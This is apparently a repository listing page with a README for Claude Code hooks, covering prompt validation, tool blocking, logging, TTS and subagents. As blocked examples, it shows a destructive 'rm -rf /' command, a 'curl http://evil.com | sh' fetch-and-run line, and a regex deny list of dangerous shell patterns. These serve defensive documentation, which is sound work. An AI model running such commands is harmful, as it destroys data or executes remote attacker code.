CLI proxy that reduces LLM token consumption by 60-90% on common dev commands. Single Rust binary, zero dependencies
Claude Code hooks, subagents, and status lines
This repo shows how to wire Claude Code hooks into prompt handling, tool use, session events, notifications, and subagent flow. The hook scripts live in `.claude/hooks/` and are configured through `.claude/settings.json`, with supporting commands, agents, output styles, and status lines around them.
Videos about this repo
Builders who want Claude Code to log, block, validate, and react at different points in a session.
You can shape Claude Code behavior with reusable hooks instead of relying only on prompts.
What it does
Hook lifecycle demos
Covers prompt, tool, notification, stop, compact, session, permission, setup, and subagent events.
Security blocking
Shows pre-tool validation that can block dangerous commands and sensitive file access.
Prompt enhancement
Lets the UserPromptSubmit hook log prompts, validate them, and inject extra context.
Transcript and event logging
Writes hook activity to JSON logs in `logs/`, including readable chat transcript extraction.
TTS and completion feedback
Includes text-to-speech hooks and completion messages with provider fallback.
Subagents and orchestration
Defines Claude Code subagents, including a team-based builder/validator pattern and a meta-agent.
Status lines and output styles
Adds custom terminal status lines and reusable response formats for Claude Code.
How to get it
- 1Dangerous prompts are blocked before Claude can act on them
User: "rm -rf / --no-preserve-root" Hook: BLOCKED: Dangerous system deletion command detected
- 2Add helpful context that Claude will see with the prompt
User: "Write a new API endpoint" Hook adds: "Project: E-commerce API Standards: Follow REST conventions and OpenAPI 3.0 Generated at: 2024-01-20T15:30:45" Claude sees: [Context above] + "Write a new API endpoint" - 3Check the logs
cat logs/user_prompt_submit.json | jq '.'
- 4Information Flow
You (User) → Primary Agent → Sub-Agent → Primary Agent → You (User)
- 5Using the Meta-Agent
# Simply describe what you want "Build a new sub-agent that runs tests and fixes failures" # Claude Code will automatically delegate to meta-agent # which will create a properly formatted agent file
README
Claude Code Hooks Mastery
Claude Code Hooks - Quickly master how to use Claude Code hooks to add deterministic (or non-deterministic) control over Claude Code's behavior. Plus learn about Claude Code Sub-Agents, the powerful Meta-Agent, and Team-Based Validation with agent orchestration.
Table of Contents
- Prerequisites
- Hook Lifecycle & Payloads
- What This Shows
- UV Single-File Scripts Architecture
- Key Files
- Features Demonstrated
- Hook Error Codes & Flow Control
- UserPromptSubmit Hook Deep Dive
- Claude Code Sub-Agents
- Team-Based Validation System
- Output Styles Collection
- Custom Status Lines
Prerequisites
This requires:
- Astral UV - Fast Python package installer and resolver
- Claude Code - Anthropic's CLI for Claude AI
Optional Setup:
Optional:
- ElevenLabs - Text-to-speech provider (with MCP server integration)
- ElevenLabs MCP Server - MCP server for ElevenLabs
- Firecrawl MCP Server - Web scraping and crawling MCP server (my favorite scraper)
- OpenAI - Language model provider + Text-to-speech provider
- Anthropic - Language model provider
- Ollama - Local language model provider
Hook Lifecycle & Payloads
This demo captures all 13 Claude Code hook lifecycle events with their JSON payloads:
Hook Lifecycle Overview
flowchart TB
subgraph SESSION["🟢 Session Lifecycle"]
direction TB
SETUP[["🔧 Setup<br/>(init/maintenance)"]]
START[["▶️ SessionStart<br/>(startup/resume/clear)"]]
END[["⏹️ SessionEnd<br/>(exit/sigint/error)"]]
end
subgraph MAIN["🔄 Main Conversation Loop"]
direction TB
PROMPT[["📝 UserPromptSubmit"]]
CLAUDE["Claude Processes"]
subgraph TOOLS["🛠️ Tool Execution"]
direction TB
PRE[["🔒 PreToolUse"]]
PERM[["❓ PermissionRequest"]]
EXEC["Tool Executes"]
POST[["✅ PostToolUse"]]
FAIL[["❌ PostToolUseFailure"]]
end
subgraph SUBAGENT["🤖 Subagent Lifecycle"]
direction TB
SSTART[["🚀 SubagentStart"]]
SWORK["Subagent Works"]
SSTOP[["🏁 SubagentStop"]]
end
NOTIFY[["🔔 Notification<br/>(Async)"]]
STOP[["🛑 Stop"]]
end
subgraph COMPACT["🗜️ Maintenance"]
PRECOMPACT[["📦 PreCompact"]]
end
SETUP --> START
START --> PROMPT
PROMPT --> CLAUDE
CLAUDE --> PRE
PRE --> PERM
PERM --> EXEC
EXEC --> POST
EXEC -.-> FAIL
CLAUDE -.-> SSTART
SSTART --> SWORK
SWORK --> SSTOP
POST --> CLAUDE
CLAUDE --> STOP
CLAUDE -.-> NOTIFY
STOP --> PROMPT
STOP -.-> END
PROMPT -.-> PRECOMPACT
PRECOMPACT -.-> PROMPT
1. UserPromptSubmit Hook
Fires: Immediately when user submits a prompt (before Claude processes it)
Payload: prompt text, session_id, timestamp
Enhanced: Prompt validation, logging, context injection, security filtering
2. PreToolUse Hook
Fires: Before any tool execution
Payload: tool_name, tool_input parameters
Enhanced: Blocks dangerous commands (rm -rf, .env access)
3. PostToolUse Hook
Fires: After successful tool completion
Payload: tool_name, tool_input, tool_response with results
4. Notification Hook
Fires: When Claude Code sends notifications (waiting for input, etc.)
Payload: message content
Enhanced: TTS alerts - "Your agent needs your input" (30% chance includes name)
5. Stop Hook
Fires: When Claude Code finishes responding
Payload: stop_hook_active boolean flag
Enhanced: AI-generated completion messages with TTS playback (LLM priority: OpenAI > Anthropic > Ollama > random)
6. SubagentStop Hook
Fires: When Claude Code subagents (Task tools) finish responding
Payload: stop_hook_active boolean flag
Enhanced: TTS playback - "Subagent Complete"
7. PreCompact Hook
Fires: Before Claude Code performs a compaction operation
Payload: trigger ("manual" or "auto"), custom_instructions (for manual), session info
Enhanced: Transcript backup, verbose feedback for manual compaction
8. SessionStart Hook
Fires: When Claude Code starts a new session or resumes an existing one
Payload: source ("startup", "resume", or "clear"), session info
Enhanced: Development context loading (git status, recent issues, context files)
9. SessionEnd Hook
Fires: When Claude Code session ends (exit, sigint, or error)
Payload: session_id, transcript_path, cwd, permission_mode, reason
Enhanced: Session logging with optional cleanup tasks (removes temp files, stale logs)
10. PermissionRequest Hook
Fires: When user is shown a permission dialog
Payload: tool_name, tool_input, tool_use_id, session info
Enhanced: Permission auditing, auto-allow for read-only ops (Read, Glob, Grep, safe Bash)
11. PostToolUseFailure Hook
Fires: When a tool execution fails
Payload: tool_name, tool_input, tool_use_id, error object
Enhanced: Structured error logging with timestamps and full context
12. SubagentStart Hook
Fires: When a subagent (Task tool) spawns
Payload: agent_id, agent_type, session info
Enhanced: Subagent spawn logging with optional TTS announcement
13. Setup Hook
Fires: When Claude enters a repository (init) or periodically (maintenance)
Payload: trigger ("init" or "maintenance"), session info
Enhanced: Environment persistence via CLAUDE_ENV_FILE, context injection via additionalContext
What This Shows
- Complete hook lifecycle coverage - All 13 hook events implemented and logging (11/13 validated via automated testing)
- Prompt-level control - UserPromptSubmit validates and enhances prompts before Claude sees them
- Intelligent TTS system - AI-generated audio feedback with voice priority (ElevenLabs > OpenAI > pyttsx3)
- Security enhancements - Blocks dangerous commands and sensitive file access at multiple levels
- Personalized experience - Uses engineer name from environment variables
- Automatic logging - All hook events are logged as JSON to
logs/directory - Chat transcript extraction - PostToolUse hook converts JSONL transcripts to readable JSON format
- Team-based validation - Builder/Validator agent pattern with code quality hooks
Warning: The
chat.jsonfile contains only the most recent Claude Code conversation. It does not preserve conversations from previous sessions - each new conversation is fully copied and overwrites the previous one. This is unlike the other logs which are appended to from every claude code session.
UV Single-File Scripts Architecture
This project leverages UV single-file scripts to keep hook logic cleanly separated from your main codebase. All hooks live in .claude/hooks/ as standalone Python scripts with embedded dependency declarations.
Benefits:
- Isolation - Hook logic stays separate from your project dependencies
- Portability - Each hook script declares its own dependencies inline
- No Virtual Environment Management - UV handles dependencies automatically
- Fast Execution - UV's dependency resolution is lightning-fast
- Self-Contained - Each hook can be understood and modified independently
This approach ensures your hooks remain functional across different environments without polluting your main project's dependency tree.
Key Files
.claude/settings.json- Hook configuration with permissions.claude/hooks/- Python scripts using uv for each hook typeuser_prompt_submit.py- Prompt validation, logging, and context injectionpre_tool_use.py- Security blocking and loggingpost_tool_use.py- Logging and transcript conversionpost_tool_use_failure.py- Error logging with structured detailsnotification.py- Logging with optional TTS (--notify flag)stop.py- AI-generated completion messages with TTSsubagent_stop.py- Simple "Subagent Complete" TTSsubagent_start.py- Subagent spawn logging with optional TTSpre_compact.py- Transcript backup and compaction loggingsession_start.py- Development context loading and session loggingsession_end.py- Session cleanup and loggingpermission_request.py- Permission auditing and auto-allowsetup.py- Repository initialization and maintenancevalidators/- Code quality validation hooksruff_validator.py- Python linting via Ruff (PostToolUse)ty_validator.py- Python type checking (PostToolUse)
utils/- Intelligent TTS and LLM utility scriptstts/- Text-to-speech providers (ElevenLabs, OpenAI, pyttsx3)tts_queue.py- Queue-based TTS management (prevents overlapping audio)
llm/- Language model integrations (OpenAI, Anthropic, Ollama)task_summarizer.py- LLM-powered task completion summaries
.claude/status_lines/- Real-time terminal status displaysstatus_line.py- Basic MVP with git infostatus_line_v2.py- Smart prompts with color codingstatus_line_v3.py- Agent sessions with historystatus_line_v4.py- Extended metadata supportstatus_line_v5.py- Cost tracking with line changesstatus_line_v6.py- Context window usage barstatus_line_v7.py- Session duration timerstatus_line_v8.py- Token usage with cache statsstatus_line_v9.py- Minimal powerline style
.claude/output-styles/- Response formatting configurationsgenui.md- Generates beautiful HTML with embedded stylingtable-based.md- Organizes information in markdown tablesyaml-structured.md- YAML configuration formatbullet-points.md- Clean nested listsultra-concise.md- Minimal words, maximum speedhtml-structured.md- Semantic HTML5markdown-focused.md- Rich markdown featurestts-summary.md- Audio feedback via TTS
.claude/commands/- Custom slash commandsprime.md- Project analysis and understandingplan_w_team.md- Team-based build/validate workflowcrypto_research.md- Cryptocurrency research workflowscook.md- Advanced task executionupdate_status_line.md- Dynamic status updates
.claude/agents/- Sub-agent configurationscrypto/- Cryptocurrency analysis agentsteam/- Team-based workflow agentsbuilder.md- Implementation agent (all tools)validator.md- Read-only validation agent
hello-world-agent.md- Simple greeting examplellm-ai-agents-and-eng-research.md- AI research specialistmeta-agent.md- Agent that creates other agentswork-completion-summary.md- Audio summary generator
logs/- JSON logs of all hook executionsuser_prompt_submit.json- User prompt submissions with validationpre_tool_use.json- Tool use events with security blockingpost_tool_use.json- Tool completion eventspost_tool_use_failure.json- Tool failure events with error detailsnotification.json- Notification eventsstop.json- Stop events with completion messagessubagent_stop.json- Subagent completion eventssubagent_start.json- Subagent spawn eventspre_compact.json- Pre-compaction events with trigger typesession_start.json- Session start events with source typesession_end.json- Session end events with reasonpermission_request.json- Permission request audit logsetup.json- Setup events with trigger typechat.json- Readable conversation transcript (generated by --chat flag)
ai_docs/- Documentation resourcescc_hooks_docs.md- Complete hooks documentation from Anthropicclaude_code_status_lines_docs.md- Status line input schema and configurationuser_prompt_submit_hook.md- Comprehensive UserPromptSubmit hook documentationuv-single-file-scripts.md- UV script architecture documentationanthropic_custom_slash_commands.md- Slash commands documentationanthropic_docs_subagents.md- Sub-agents documentation
ruff.toml- Ruff linter configuration for Python code qualityty.toml- Type checker configuration for Python type validation
Hooks provide deterministic control over Claude Code behavior without relying on LLM decisions.
Features Demonstrated
- Prompt validation and security filtering
- Context injection for enhanced AI responses
- Command logging and auditing
- Automatic transcript conversion
- Permission-based tool access control
- Error handling in hook execution
Run any Claude Code command to see hooks in action via the logs/ files.
Hook Error Codes & Flow Control
Claude Code hooks provide powerful mechanisms to control execution flow and provide feedback through exit codes and structured JSON output.
Exit Code Behavior
Hooks communicate status and control flow through exit codes:
| Exit Code | Behavior | Description |
|---|---|---|
| 0 | Success | Hook executed successfully. stdout shown to user in transcript mode (Ctrl-R) |
| 2 | Blocking Error | Critical: stderr is fed back to Claude automatically. See hook-specific behavior below |
| Other | Non-blocking Error | stderr shown to user, execution continues normally |
Hook-Specific Flow Control
Each hook type has different capabilities for blocking and controlling Claude Code's behavior:
UserPromptSubmit Hook - CAN BLOCK PROMPTS & ADD CONTEXT
- Primary Control Point: Intercepts user prompts before Claude processes them
- Exit Code 2 Behavior: Blocks the prompt entirely, shows error message to user
- Use Cases: Prompt validation, security filtering, context injection, audit logging
- Example: Our
user_prompt_submit.pylogs all prompts and can validate them
PreToolUse Hook - CAN BLOCK TOOL EXECUTION
- Primary Control Point: Intercepts tool calls before they execute
- Exit Code 2 Behavior: Blocks the tool call entirely, shows error message to Claude
- Use Cases: Security validation, parameter checking, dangerous command prevention
- Example: Our
pre_tool_use.pyblocksrm -rfcommands with exit code 2
# Block dangerous commands
if is_dangerous_rm_command(command):
print("BLOCKED: Dangerous rm command detected", file=sys.stderr)
sys.exit(2) # Blocks tool call, shows error to Claude
PostToolUse Hook - CANNOT BLOCK (Tool Already Executed)
- Primary Control Point: Provides feedback after tool completion
- Exit Code 2 Behavior: Shows error to Claude (tool already ran, cannot be undone)
- Use Cases: Validation of results, formatting, cleanup, logging
- Limitation: Cannot prevent tool execution since it fires after completion
Notification Hook - CANNOT BLOCK
- Primary Control Point: Handles Claude Code notifications
- Exit Code 2 Behavior: N/A - shows stderr to user only, no blocking capability
- Use Cases: Custom notifications, logging, user alerts
- Limitation: Cannot control Claude Code behavior, purely informational
Stop Hook - CAN BLOCK STOPPING
- Primary Control Point: Intercepts when Claude Code tries to finish responding
- Exit Code 2 Behavior: Blocks stoppage, shows error to Claude (forces continuation)
- Use Cases: Ensuring tasks complete, validation of final state use this to FORCE CONTINUATION
- Caution: Can cause infinite loops if not properly controlled
SubagentStop Hook - CAN BLOCK SUBAGENT STOPPING
- Primary Control Point: Intercepts when Claude Code subagents try to finish
- Exit Code 2 Behavior: Blocks subagent stoppage, shows error to subagent
- Use Cases: Ensuring subagent tasks complete properly
- Example: Our
subagent_stop.pylogs events and announces completion
PreCompact Hook - CANNOT BLOCK
- Primary Control Point: Fires before compaction operations
- Exit Code 2 Behavior: N/A - shows stderr to user only, no blocking capability
- Use Cases: Transcript backup, context preservation, pre-compaction logging
- Example: Our
pre_compact.pycreates transcript backups before compaction
SessionStart Hook - CANNOT BLOCK
- Primary Control Point: Fires when new sessions start or resume
- Exit Code 2 Behavior: N/A - shows stderr to user only, no blocking capability
- Use Cases: Loading development context, session initialization, environment setup
- Example: Our
session_start.pyloads git status, recent issues, and context files
Advanced JSON Output Control
Beyond simple exit codes, hooks can return structured JSON for sophisticated control:
Common JSON Fields (All Hook Types)
{
"continue": true, // Whether Claude should continue (default: true)
"stopReason": "string", // Message when continue=false (shown to user)
"suppressOutput": true // Hide stdout from transcript (default: false)
}
PreToolUse Decision Control
{
"decision": "approve" | "block" | undefined,
"reason": "Explanation for decision"
}
- "approve": Bypasses permission system,
reasonshown to user - "block": Prevents tool execution,
reasonshown to Claude - undefined: Normal permission flow,
reasonignored
PostToolUse Decision Control
{
"decision": "block" | undefined,
"reason": "Explanation for decision"
}
- "block": Automatically prompts Claude with
reason - undefined: No action,
reasonignored
Stop Decision Control
{
"decision": "block" | undefined,
"reason": "Must be provided when blocking Claude from stopping"
}
- "block": Prevents Claude from stopping,
reasontells Claude how to proceed - undefined: Allows normal stopping,
reasonignored
Flow Control Priority
When multiple control mechanisms are used, they follow this priority:
"continue": false- Takes precedence over all other controls"decision": "block"- Hook-specific blocking behavior- Exit Code 2 - Simple blocking via stderr
- Other Exit Codes - Non-blocking errors
Security Implementation Examples
1. Command Validation (PreToolUse)
# Block dangerous patterns
dangerous_patterns = [
r'rm\s+.*-[rf]', # rm -rf variants
r'sudo\s+rm', # sudo rm commands
r'chmod\s+777', # Dangerous permissions
r'>\s*/etc/', # Writing to system directories
]
for pattern in dangerous_patterns:
if re.search(pattern, command, re.IGNORECASE):
print(f"BLOCKED: {pattern} detected", file=sys.stderr)
sys.exit(2)
2. Result Validation (PostToolUse)
# Validate file operations
if tool_name == "Write" and not tool_response.get("success"):
output = {
"decision": "block",
"reason": "File write operation failed, please check permissions and retry"
}
print(json.dumps(output))
sys.exit(0)
3. Completion Validation (Stop Hook)
# Ensure critical tasks are complete
if not all_tests_passed():
output = {
"decision": "block",
"reason": "Tests are failing. Please fix failing tests before completing."
}
print(json.dumps(output))
sys.exit(0)
Hook Execution Environment
- Timeout: 60-second execution limit per hook
- Parallelization: All matching hooks run in parallel
- Environment: Inherits Claude Code's environment variables
- Working Directory: Runs in current project directory
- Input: JSON via stdin with session and tool data
- Output: Processed via stdout/stderr with exit codes
UserPromptSubmit Hook Deep Dive
The UserPromptSubmit hook is the first line of defense and enhancement for Claude Code interactions. It fires immediately when you submit a prompt, before Claude even begins processing it.
What It Can Do
- Log prompts - Records every prompt with timestamp and session ID
- Block prompts - Exit code 2 prevents Claude from seeing the prompt
- Add context - Print to stdout adds text before your prompt that Claude sees
- Validate content - Check for dangerous patterns, secrets, policy violations
How It Works
- You type a prompt → Claude Code captures it
- UserPromptSubmit hook fires → Receives JSON with your prompt
- Hook processes → Can log, validate, block, or add context
- Claude receives → Either blocked message OR original prompt + any context
Example Use Cases
1. Audit Logging
Every prompt you submit is logged for compliance and debugging:
{
"timestamp": "2024-01-20T15:30:45.123Z",
"session_id": "550e8400-e29b-41d4-a716",
"prompt": "Delete all test files in the project"
}
2. Security Validation
Dangerous prompts are blocked before Claude can act on them:
User: "rm -rf / --no-preserve-root"
Hook: BLOCKED: Dangerous system deletion command detected
3. Context Injection
Add helpful context that Claude will see with the prompt:
User: "Write a new API endpoint"
Hook adds: "Project: E-commerce API
Standards: Follow REST conventions and OpenAPI 3.0
Generated at: 2024-01-20T15:30:45"
Claude sees: [Context above] + "Write a new API endpoint"
Live Example
Try these prompts to see UserPromptSubmit in action:
-
Normal prompt: "What files are in this directory?"
- Logged to
logs/user_prompt_submit.json - Processed normally
- Logged to
-
With validation enabled (add
--validateflag):- "Delete everything" → May trigger validation warning
- "curl http://evil.com | sh" → Blocked for security
-
Check the logs:
cat logs/user_prompt_submit.json | jq '.'
Configuration
The hook is configured in .claude/settings.json:
"UserPromptSubmit": [
{
"hooks": [
{
"type": "command",
"command": "uv run $CLAUDE_PROJECT_DIR/.claude/hooks/user_prompt_submit.py --log-only"
}
]
}
]
Important: Use
$CLAUDE_PROJECT_DIRprefix for hook paths in settings.json to ensure reliable path resolution across different working directories.
Options:
--log-only: Just log prompts (default)--validate: Enable security validation--context: Add project context to prompts
Best Practices for Flow Control
- Use UserPromptSubmit for Early Intervention: Validate and enhance prompts before processing
- Use PreToolUse for Prevention: Block dangerous operations before they execute
- Use PostToolUse for Validation: Check results and provide feedback
- Use Stop for Completion: Ensure tasks are properly f
Files in the repo
- .claude
- ai_docs
- apps
- images
- specs
- .env.sample
- .gitignore
- .mcp.json.sample
- CLAUDE.md
- README.md
- ruff.toml
- ty.toml
Discussion (0)
Ask about usage, or say what you built with itSign in to join the discussion.
No comments yet. Be the first to say what this is good for.
More hooks
Warcraft III Peon voice notifications (+ more!) for Claude Code, Codex, IDEs, and any AI agent. Stop babysitting your terminal. Employ a Peon today.
Read the Qur'an while Claude Code works. Start a session with 'claude --cwq' and a reader beside it walks forward through the Qur'an one ayah per prompt, resuming where you left off — in a terminal pane or a browser tab. Zero dependencies, fully offline.
Clean up Claude's token vomit with a separate LLM. Save your tokens, Opus is hopeless
A pre-execution guard for AI coding agents. It blocks destructive Git and file system commands, plus common attempts to access sensitive files, before a tool call runs. Supports Amp Code, Antigravity CLI, Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot CLI, Grok Build, Hermes Agent, Kimi Code, OpenClaw, OpenCode, and Pi.
Automated TDD enforcement for Claude Code